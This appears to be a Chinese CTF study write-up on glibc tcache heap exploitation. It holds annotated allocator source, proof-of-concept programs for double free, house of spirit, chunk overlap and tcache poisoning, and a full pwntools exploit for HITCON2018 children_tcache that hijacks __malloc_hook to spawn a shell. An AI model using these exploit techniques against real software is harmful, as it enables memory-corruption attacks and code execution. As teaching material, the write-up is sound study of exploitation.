# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */ //64位机器以16B递增，从24B到1032B，32位机器以8B递增，从12B到512B，因此tcache bin只用于存放non-large的chunk
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7 //每个bins最多存放7个chunk
#endif
新增了两个结构体`tcache_entry`和`tcache_pertheread_struct`：
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next; //每个被放入相应bins中的chunk都会在其用户数据中包含一个tcache_entry(FD指针)。指向同bins中的下一个chunk，构成单链表
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS]; //数组counts用于存放每个bins中的chunk数量
tcache_entry *entries[TCACHE_MAX_BINS]; //数组entries用于放置64个bins
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
## 触发在tcache中放入chunk的操作
* free时，在fastbin操作之前进行，如果chunk size符合要求，并且对应的bins还没有装满，则将其放入
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
* malloc时
* * 如果从fastbin中成功返回了一个需要的chunk，那么 **对应fastbin中的其他chunk** 会被放进相应的tcache bin中，直到上限。需要注意的是，chunks在tcache bin的顺序和在fastbin中的顺序是反过来的
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
* * smallbin中的情况与fastbin相似，双链表中剩余的chunk会被填充到tcache bin中，直到上限。
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
* * binning code（chunk合并等其他情况）中，每个符合要求的chunk都会优先被放入tcache，而不是直接返回（除非tcache被装满）。寻找结束后，tcache会返回其中一个。
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
## 触发从tcache中取出chunk的操作
* 在`__libc_malloc()`调用`_int_malloc()`之前，如果tcache bin中有符合要求的chunk，则直接将他返回
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
* bining code 中，如果在 tcache 中放入 chunk 达到上限，则会直接返回最后一个chunk
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif
当然默认情况下没有限制，所以这段代码也不会执行：
.tcache_unsorted_limit = 0 /* No limit. */
* binning code 结束后，如果没有直接返回（如上），那么如果有至少一个符合要求的 chunk 被找到，则返回最后一个。
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get (tc_idx);
}
#endif
**tcache 中的 chunk 不会被合并，无论是相邻 chunk，还是 chunk 和 top chunk。因为这些 chunk 会被标记为
inuse。**
# tcache的安全性
上面提到的放入chunk`tcache_put()`和取出chunk`tcache_get()`
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS); //只检查了tc_idx
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
对tcache的操作在free和malloc中往往都处于很靠前的位置，导致原来的许多有效性检查都被无视了。所以存在安全隐患。
## tcache_dup
#include <stdlib.h>
#include <stdio.h>
int main() {
void *p1 = malloc(0x10);
fprintf(stderr, "1st malloc(0x10): %p\n", p1);
fprintf(stderr, "Freeing the first one\n");
free(p1);
fprintf(stderr, "Freeing the first one again\n");
free(p1);
fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
}
运行结果：
1st malloc(0x10): 0x5561ddcc4260
Freeing the first one
Freeing the first one again //double free惹
2nd malloc(0x10): 0x5561ddcc4260
3rd malloc(0x10): 0x5561ddcc4260
gdb调试：
第一次malloc后
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000021
0x555555756260: 0x0000000000000000 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000020d91
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
第一次free后
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000021
0x555555756260: 0x0000000000000000 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000020d91
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555756000 0x555555777000 rw-p 21000 0 [heap]
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000001 0x0000000000000000 ==> counts = 1 //一开始是什么都没有的
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000555555756260 0x0000000000000000 ==> entries
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
第二次free后
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000021
0x555555756260: 0x0000555555756260 0x0000000000000000 ==>double freed
0x555555756270: 0x0000000000000000 0x0000000000020d91
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000002 0x0000000000000000 ==> counts = 2
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000555555756260 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
再一次malloc后
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000021
0x555555756260: 0x0000555555756260 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000020d91
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000001 0x0000000000000000 ==> counts = 1
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000555555756260 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
最后malloc后
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000021
0x555555756260: 0x0000555555756260 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000020d91
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000000 0x0000000000000000 ==> counts = 0
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000555555756260 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
## house of spirit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
malloc(1); // init heap
fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
unsigned long long *a, *b;
unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
fake_chunk[1] = 0x110; // the size
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
a = &fake_chunk[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
b = malloc(0x100);
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
fprintf(stderr, "malloc(0x100): %p\n", b);
}
运行之后：
We will overwrite a pointer to point to a fake 'smallbin' region.
The chunk: 0x7ffc4c03f800
Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7ffc4c03f800.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc4c03f800, which will be 0x7ffc4c03f810!
malloc(0x100): 0x7ffc4c03f810
gdb调试：
第一次malloc后：
pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000021
0x555555756260: 0x0000000000000000 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000020d91
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001 0x00007ffff7ffe728
0x7fffffffdcb0: 0x00007ffff7ffe100 0x0000000000000001
0x7fffffffdcc0: 0x00007ffff7fe04c0 0x00007ffff7ddff5f
0x7fffffffdcd0: 0x00007ffff7ffe710 0x0000000000000000
0x7fffffffdce0: 0x0000000000000000 0x00007ffff7ffa298
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001 0x0000000000000110 ==> 伪造的fake chunk size
0x7fffffffdcb0: 0x00007ffff7ffe100 0x0000000000000001
0x7fffffffdcc0: 0x00007ffff7fe04c0 0x00007ffff7ddff5f
0x7fffffffdcd0: 0x00007ffff7ffe710 0x0000000000000000
0x7fffffffdce0: 0x0000000000000000 0x00007ffff7ffa298
memset将`fake_chunk+2`后的内存填充为0x41
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001 0x0000000000000110
0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141
0x7fffffffdce0: 0x4141414141414141 0x4141414141414141
free后
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001 0x0000000000000110 ==> be freed
0x7fffffffdcb0: 0x0000000000000000 0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141
0x7fffffffdce0: 0x4141414141414141 0x4141414141414141
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555756000 0x555555777000 rw-p 21000 0 [heap]
pwndbg> x/30gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000000 0x0100000000000000 ==> counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x00007fffffffdcb0 ==> entries
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x0000000000000000 0x0000000000000000
再malloc(0x100)
pwndbg> p a
$1 = (unsigned long long *) 0x7fffffffdcb0
pwndbg> p b
$2 = (unsigned long long *) 0x7fffffffdcb0 //由于a的size被改，此位置被分配给b
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001 0x0000000000000110
0x7fffffffdcb0: 0x4242424242424242 0x4242424242424242 ==> b
0x7fffffffdcc0: 0x4242424242424242 0x4242424242424242
0x7fffffffdcd0: 0x4242424242424242 0x4242424242424242
0x7fffffffdce0: 0x4242424242424242 0x4242424242424242
## tcache_overlapping_chunks
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
p1 = malloc(0x50 - 8);
p2 = malloc(0x20 - 8);
memset(p1, 0x41, 0x50-8);
memset(p2, 0x41, 0x30-8);
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
int evil_chunk_size = 0x110;
int evil_region_size = 0x110 - 8;
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
*(p1-1) = evil_chunk_size;
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
free(p1);
p3 = malloc(evil_region_size);
memset(p3, 0x42, evil_region_size);
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
}
运行结果：
Allocated victim chunk with requested size 0x48: 0x555555756260
Allocated sentry element after victim: 0x5555557562b0
Emulating corruption of the victim's size to 0x110
Freed victim chunk to put it in a different tcache bin
Requested a chunk of 0x100 bytes
p3: 0x555555756260 ~ 0x555555756368
p2: 0x5555557562b0 ~ 0x5555557562c8
gdb调试：
申请两个chunk
pwndbg> x/16gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000051 ==> p1
0x555555756260: 0x4141414141414141 0x4141414141414141
0x555555756270: 0x4141414141414141 0x4141414141414141
0x555555756280: 0x4141414141414141 0x4141414141414141
0x555555756290: 0x4141414141414141 0x4141414141414141
0x5555557562a0: 0x4141414141414141 0x0000000000000021 ==> p2
0x5555557562b0: 0x4141414141414141 0x4141414141414141
0x5555557562c0: 0x4141414141414141 0x4141414141414141
第一个chunk的size被修改并free
pwndbg> x/16gx 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000110 ==> 修改chunk的size
0x555555756260: 0x0000000000000000 0x4141414141414141 ==> be freed
0x555555756270: 0x4141414141414141 0x4141414141414141
0x555555756280: 0x4141414141414141 0x4141414141414141
0x555555756290: 0x4141414141414141 0x4141414141414141
0x5555557562a0: 0x4141414141414141 0x0000000000000021
0x5555557562b0: 0x4141414141414141 0x4141414141414141
0x5555557562c0: 0x4141414141414141 0x4141414141414141
pwndbg> x/30gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000000 0x0100000000000000 ==> counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x0000555555756260 ==> entries
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x0000000000000000 0x0000000000000000
申请`0x110-8`大小的p3
pwndbg> x/12gx 0x0000555555756250
0x555555756250: 0x0000000000000000 0x0000000000000110 ==> p3 (原来p1的位置，且将后面的p2覆盖)
0x555555756260: 0x4242424242424242 0x4242424242424242
0x555555756270: 0x4242424242424242 0x4242424242424242
0x555555756280: 0x4242424242424242 0x4242424242424242
0x555555756290: 0x4242424242424242 0x4242424242424242
0x5555557562a0: 0x4242424242424242 0x4242424242424242 ==> p2
造成了堆块重叠
## tcache_poisoning
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
size_t target[10];
printf("Our target is a stack region at %p\n", (void *)target);
p1 = malloc(0x30);
memset(p1, 0x41, 0x30+8);
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
free(p1);
fprintf(stderr, "Emulating corruption of the next ptr\n");
*p1 = (int64_t)target;
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
p2 = malloc(0x30);
memset(p2, 0x42, 0x30+8);
p3 = malloc(0x30);
memset(p3, 0x42, 0x30+8);
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
}
运行结果：
Our target is a stack region at 0x7ffdb6b5b510
Allocated victim chunk with requested size 0x30 at 0x561fe4ccb670
Freed victim chunk to put it in a tcache bin
Emulating corruption of the next ptr
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
The first malloc(0x30) returned 0x561fe4ccb670, the second one: 0x7ffdb6b5b510
gdb调试：
创建一个chunk p1
pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000 0x0000000000000041
0x555555756670: 0x4141414141414141 0x4141414141414141
0x555555756680: 0x4141414141414141 0x4141414141414141
0x555555756690: 0x4141414141414141 0x4141414141414141
0x5555557566a0: 0x4141414141414141 0x0000000000020961
free后：
pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000 0x0000000000000041
0x555555756670: 0x0000000000000000 0x4141414141414141 ==> fd被删除 / **
0x555555756680: 0x4141414141414141 0x4141414141414141
0x555555756690: 0x4141414141414141 0x4141414141414141
0x5555557566a0: 0x4141414141414141 0x0000000000020961
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555756000 0x555555777000 rw-p 21000 0 [heap]
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000010000 0x0000000000000000 ==> counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000555555756670 0x0000000000000000 ==> entries
0x555555756070: 0x0000000000000000 0x0000000000000000
将fd指针修改为target
pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000 0x0000000000000041
0x555555756670: 0x00007fffffffde40 0x4141414141414141 ==> fd被修改为target addr
0x555555756680: 0x4141414141414141 0x4141414141414141
0x555555756690: 0x4141414141414141 0x4141414141414141
0x5555557566a0: 0x4141414141414141 0x0000000000020961
申请p2
pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000 0x0000000000000041
0x555555756670: 0x4242424242424242 0x4242424242424242
0x555555756680: 0x4242424242424242 0x4242424242424242
0x555555756690: 0x4242424242424242 0x4242424242424242
0x5555557566a0: 0x4242424242424242 0x0000000000020961
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000000000 0x0000000000000000 ==> counts = 0
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x00007fffffffde40 0x0000000000000000 ==> entries被修改为我们写的fd，指向栈上的target
0x555555756070: 0x0000000000000000 0x0000000000000000
申请p3
//此时的counts虽然为0，但是`tcache_get`并没有做检查，而是直接从entries处返回了一个chunk
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000 0x0000000000000251
0x555555756010: 0x0000000000ff0000 0x0000000000000000 ==> counts = 0-1 = 0xff 【产生了整数溢出】可被unsorted bin attack 利用
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000009 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx &p3
0x7fffffffde38: 0x00007fffffffde40 0x4242424242424242 ==> 直接写入了target处--|
0x7fffffffde48: 0x4242424242424242 0x4242424242424242 |
0x7fffffffde58: 0x4242424242424242 0x4242424242424242 |
0x7fffffffde68: 0x4242424242424242 0x4242424242424242 |
0x7fffffffde78: 0x0000000000000000 0x00005555555549d0 |
|
pwndbg> x/10gx 0x7fffffffde40 |
0x7fffffffde40: 0x4242424242424242 0x4242424242424242 <-----------------------|我们得到了一个在栈上的chunk
0x7fffffffde50: 0x4242424242424242 0x4242424242424242
0x7fffffffde60: 0x4242424242424242 0x4242424242424242
0x7fffffffde70: 0x4242424242424242 0x0000000000000000
0x7fffffffde80: 0x00005555555549d0 0x0000555555554750
被unsorted bin attack 利用
* * *
事实上，即使知道了这些tcache可能造成的问题，在遇到题目的时候还是不知道如何将多种attack结合起来利用
那么练题吧...
# 例题
## [HITCON2018
child_tcache](https://github.com/fangdada/ctf/tree/master/HITCON2018/child_tcache)
### 分析
保护全开
菜单
$ 1. New heap $
$ 2. Show heap $
$ 3. Delete heap $
$ 4. Exit $
new heap中
> strcpy把含有'\0'结束符的字符串复制到另一个地址空间
所以存在漏洞`NULL byte off-by-one`
1. 通过unsorted bin的fd bk指针泄露libc：tcache的范围是 [0x20, 0x400)，超过这个大小的就会放入unsorted bin，unsorted bin中只有一个chunk时的fd bk指向main_arena附近的地址。被free后，data会被覆盖为0xda，
pwndbg> x/200gx 0x555555757250
0x555555757250: 0x0000000000000000 0x0000000000000511
0x555555757260: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x555555757270: 0x0000000000000000 0x0000000000000000
0x555555757280: 0xdadadadadadadada 0xdadadadadadadada
0x555555757290: 0xdadadadadadadada 0xdadadadadadadada
··················
0x555555757740: 0xdadadadadadadada 0xdadadadadadadada
0x555555757750: 0xdadadadadadadada 0xdadadadadadadada
0x555555757760: 0x0000000000000510 0x0000000000000030
0x555555757770: 0x0000000000000000 0xdadadadadadadada
0x555555757780: 0xdadadadadadadada 0xdadadadadadadada
0x555555757790: 0x0000000000000000 0x0000000000000500
0x5555557577a0: 0x000000000000326b 0x0000000000000000
0x5555557577b0: 0x0000000000000000 0x0000000000000000
2. tcache分配chunk时直接通过fd分配，不会对size检查，所以没有必要进行构造fake_fast_size。我们可以直接通过修改fd，将chunk分配到`malloc_hook`或`free_hook`附近的地址，然后将`malloc_hook`或`free_hook`改为`one_gadget`，再次malloc或者free时就会调用其上的`one_gadget`。
### exp
#!usr/bin/python
from pwn import *
# context.log_level = 'debug'
binary = "./children_tcache"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
io.sendlineafter("choice: ", str(choice))
def new(size, data):
menu(1)
io.sendlineafter("Size:", str(size))
io.sendafter("Data:", data)
def show(index):
menu(2)
io.sendlineafter("Index:", str(index))
def delete(index):
menu(3)
io.sendlineafter("Index:", str(index))
def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("./libc.so.6")
else:
io = remote(ip, port)
libc = 0
new(0x500, "k0") # 0
new(0x28, "k1") # 1
new(0x4f0, "k2") # 2
new(0x20, "k3") # 3
delete(1)
delete(0)
for i in range(0, 9):
new(0x28-i, 'A'*(0x28-i)) # 0
delete(0)
# gdb.attach(io)
new(0x28, 'B'*0x20+p64(0x540)) # 0
delete(2)
new(0x500, 'A') # 1
show(0)
libc_base = u64(io.recv(6).ljust(8, '\x00'))-0x60-0x3ebc40
print "libc_base = " +hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + one_gadget[1]
print "one_gadget = " +hex(one_gadget)
new(0x28, 'B') # 2
delete(2)
delete(0)
new(0x28, p64(malloc_hook))
new(0x28, p64(malloc_hook))
new(0x28, p64(one_gadget))
menu(1)
io.interactive()
if __name__ == '__main__':
pwn(ip, port, 1)
最后再次调用malloc的时候坑了我...我直接new，会进入one_gadget，当然recv不到"Data:"...我就那么调试好久不知道错在哪了...只选择一下new就行了。
做题的时候还看到别人写了一个工具找偏移的[main_arena](https://github.com/bash-c/main_arena_offset)，他的脚本还需要再改一下才能同时打印出`__malloc_hook_offset`，其实可以直接elf.symbols直接找，不过都行
都行 d=====(￣▽￣*)b
## ▲[HITCON2018
baby_tcache](https://github.com/mathboy7/CTF-2/blob/master/Hitcon-2018/Pwn/BabyTcache/problem/baby_tcache-9ef70fb45e455f8374881f68121c3e0d.tar.gz)
### 分析
保护全开
菜单
$ 1. New heap $
$ 2. Delete heap $
$ 3. Exit $
new heap中存在漏洞`NULL byte off-by-one`
1. 由于本身没有带show函数，所以泄露比较困难，程序中有调用puts，我们考虑调用puts进行泄露。
puts（`_IO_new_file_overflow` -> `_IO_do_write`）会将缓冲区中的数据打印出来（`_IO_write_base`
~ `_IO_write_ptr`）
调用puts会调用：
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base, // 需要调用的目标，如果使得 _IO_write_base < _IO_write_ptr，且 _IO_write_base 处
// 存在有价值的地址 （libc 地址）则可进行泄露
// 在正常情况下，_IO_write_base == _IO_write_ptr 且位于 libc 中，所以可进行部分写
f->_IO_write_ptr - f->_IO_write_base);
需要满足`f->_flags & _IO_NO_WRITES = 0`和`f->_flags & _IO_CURRENTLY_PUTTING != 0`
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING) /* 需要满足 */
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); // 这里真正进行 write
需要满足`fp->_flags & _IO_IS_APPENDING != 0` 或 `fp->_IO_read_end !=
fp->_IO_write_base`，我们不能完全控制`fp->_IO_write_base -fp->_IO_read_end`的值，所以控制第一个if就可以了。
综上：
_flags = 0xfbad0000
_flags & = _IO_NO_WRITES = 0 // _flags = 0xfbad0000
_flags & _IO_CURRENTLY_PUTTING = 1 // _flags = 0xfbad0800
_flags & _IO_IS_APPENDING = 1 // _flags = 0xfbad1800
`_IO_SYSWRITE (fp, data, to_do)`即 `_IO_SYSWRITE (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base)`
